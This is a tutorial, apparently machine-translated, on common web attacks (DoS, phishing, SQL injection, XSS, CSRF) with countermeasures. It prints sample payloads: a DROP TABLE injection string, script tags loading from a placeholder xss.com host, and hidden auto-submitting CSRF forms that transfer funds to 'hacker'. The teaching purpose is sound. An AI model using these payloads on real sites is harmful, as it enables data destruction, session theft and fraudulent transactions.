Common Web attacks

Sort by attack frequency proportion:

  1. Cross-site scripting XSS attack
  2. SQL injection
  3. DOS attack
  4. Cross-site forgery CSRF
  5. Phishing site

DOS attack

The name is denial-of-service attack

Principle: The attacker will send a large number of requests, or simulate the access of a large number of legitimate users, occupying the server resources until exhausted, so that the real needs of users can not access the website.

For example, ruan Yifeng’s website was attacked by DDOS in 2018.

Phishing site

Users enter the fake website (UI and domain name are very similar to the genuine website) through search engines or jump links. Users enter user names and passwords in the fake website, resulting in account information leakage.

SQL injection

SQL injection is a code injection technique that allows an attacker to insert a malicious SQL statement into an input field for execution.

Scenario Example:

There is such a function: the front of the website has a query input box, when the user’s name is entered, query and display all users with the name. When the back end receives the query parameter, it concatenates the SQL statement, then executes the SQL and returns the query result.

let username = req.body.username
let sql = "SELECT * FROM users WHERE name ='+ username +'";
exec(sql)
Copy the code

When the user enters a query parameter with a character like this:

a'; DROP TABLE users; SELECT * FROM userinfo WHERE 't' ='tCopy the code

When the server queries, it executes:

let sql = "SELECT * FROM users WHERE name = 'a'; DROP TABLE users; SELECT * FROM userinfo WHERE 't' ='t'";
Copy the code

This results in a single query that can delete the user library, as well as any other database operation.

Countermeasures:

  • Approach 1: Use the ORM library and call the API instead of running SQL statements directly
  • Method 2: Escape the spliced query fields before running the SQL statement

XSS (Cross-site scripting attacks)

Cross – site scripting. The abbreviation CSS and cascading style sheet abbreviation CSS are confusing, so they are called XSS.

Because the website has vulnerabilities, attackers can enter malicious code on the website, and let the malicious code run in other users’ browsers, stealing user information.

Non-persistent attacks (reflexive attacks)

Reflective XSS, that is, passive non-persistent XSS.

The user is tricked to click on the URL link with attack code, the server responds after parsing, and the attacker’s XSS code is hidden and embedded in the returned response content, which is executed by the browser, thus attacking the user.

Scenario Example:

  1. Xiao Ming visits Taobao and logs in when he visits Taobao. He will leave a browser and a server to save authentication cookies for users to identify Him.
  2. The attacker found that taobao’s commodity search bar has XSS vulnerability
  3. An attacker constructs a linkhttp://taobao.com/search?q= mobile phone <script> Malicious code </script>They post links to various social platforms as advertisements and entice users to click on them.
  4. When Ming sees the advertisement and clicks the link, the malicious code exists in Ming’s browser. Since Ming’s Taobao is logged in, the malicious code can obtain Ming’s Cookie, so it can also see all of Ming’s information and simulate all of Ming’s operations.

Persistent attack

The use of similar message board functions will be written malicious code into the database, when the user next visit the site, because the site will get data from the database display information, so the user as long as open the site will be lured.

Scenario Example:

  1. The attacker found that Taobao’s commodity review box has XSS vulnerability

  2. The attacker posted a comment that read: “This item is earned when bought! < script SRC = “http://xss.com/xxx.js” > “. This information is displayed in the comment list, where the Script tag is embedded in the page.

  3. When other users open the page, they read the comments while the malicious code is secretly executing. The attacker will get the user’s Cookie and hijack the user’s information.

Measures to prevent

  1. For rich text editors, filter unsafe tags such as script
  2. To escape user input, such as the<script></script>escape
  3. When code needs to display content dynamically, it uses innerText instead of innerHTML, and VUE uses V-text instead of V-HTML.
  4. When a server uses a Set Cookie, it carries the HttpOnly field to prevent JavaScript from obtaining the Cookie
  5. Do not use the image address specified by the user when uploading pictures. In particular, the MarkDown editor.

CSRF attacks

Cross-site request forgery.

The attacker lures the victim to a third-party site, where a cross-site request is sent to the targeted site. Using the victim in the attacked website has obtained the registration certificate, bypassing the background user authentication, in order to achieve the purpose of impersonating the user to the attacked website to perform a certain operation.

Scenario Example:

  1. The victim logged on to Taobao.com and kept the login credentials (cookies).
  2. The attacker lures victims to a third-party website, b.com
  3. B.com will send a request to Taobao, and by default, the browser will carry the Cooike that the victim logged on to taobao
  4. At this time, After receiving the request, Taobao verifies the request and confirms that it is the victim’s voucher, mistakenly thinking that it is the request sent by the victim himself.
  5. At this time the attacker is unaware of the victim, posing as a victim, let Taobao to perform their definition of some operations.

Attack types

CSRF of GET type:

A common scenario is anonymous likes, where the server distinguishes anonymous visitors based on their IP addresses. The attacker integrated the “like” interface into the images on his site, so that anyone visiting the attacker’s site could give the attacker a “like”.

<img src="http://zan.example/thumbup? amount=1&for=hacker">
Copy the code

POST CSRF:

Some server interfaces use the POST method, so a hacker needs to forge a POST request on his site, which is automatically submitted when the user opens the hacker’s site

<form id= 'hacker-form' action="https://bank.example/withdraw" method=POST>
    <input type="hidden" name="userll" value="hacker" />
    <input type="hidden" name="numberll" value="100" />
</form>
Copy the code

In the previous code, we can see that the attacker has built a hidden form on its page. The form content is a transfer interface of a website. When the user opens the site, the form will be submitted automatically. When the form is submitted, the server performs the transfer. So using this kind of return to build an auto-submitted form, you can automate cross-site POST data submission

CSRF of link type:

This requires the user to click on the link to trigger it. This often involves embedding malicious links in images posted on various social platforms, or using ads to entice users to click on them.

<a href="http://test.com/csrf/withdwaw.php?amount=100&for=hacker" target="_blank">Big news!!<a/>
Copy the code

The user logged in to the trusted website A and saved the login status. At this time, as long as the user actively visits the above PHP page, it indicates that the attack is successful.

Protective measures

Because CSRF is different from XSS, CSRF attacks do not inject malicious scripts into pages, so attackers cannot obtain user page data through CSRF attacks. The main purpose is to find vulnerabilities in the server, so for CSRF attacks can be protected from improving the security of the server.

1. Take advantage of the SameSite property of cookies

Because an attacker can use a user’s login state to launch a CSRF attack, and cookies are a key piece of data that maintains login state between the browser and the server, something needs to be set on cookies to prevent CSRF attacks.

CSRF attacks are usually initiated by third-party sites, so you can use the SameSite attribute in cookies to prevent CSRF attacks

2. Write the cSRFToken value in the Cookie

 <form action="https://time.geekbang.org/sendcoin" method="POST">
    <input type="hidden" csrftoken="afe3f94cnisar">
    <input type="text" name="username" value="">
    <input type="password" name="password" value="">
 </form>
Copy the code

Csrftoken embedded in the request parameter or request header when the user submits a form or sends an Ajax request. After the request is sent to the server, the server compares the token in the request parameters with the token in the cookie of the request. If the token in the request parameters is the same, the request is approved.

Because the token is buried in the website, the attacker cannot get the token when he forges the request from the third party website and therefore cannot include the token in the request parameters, the request will fail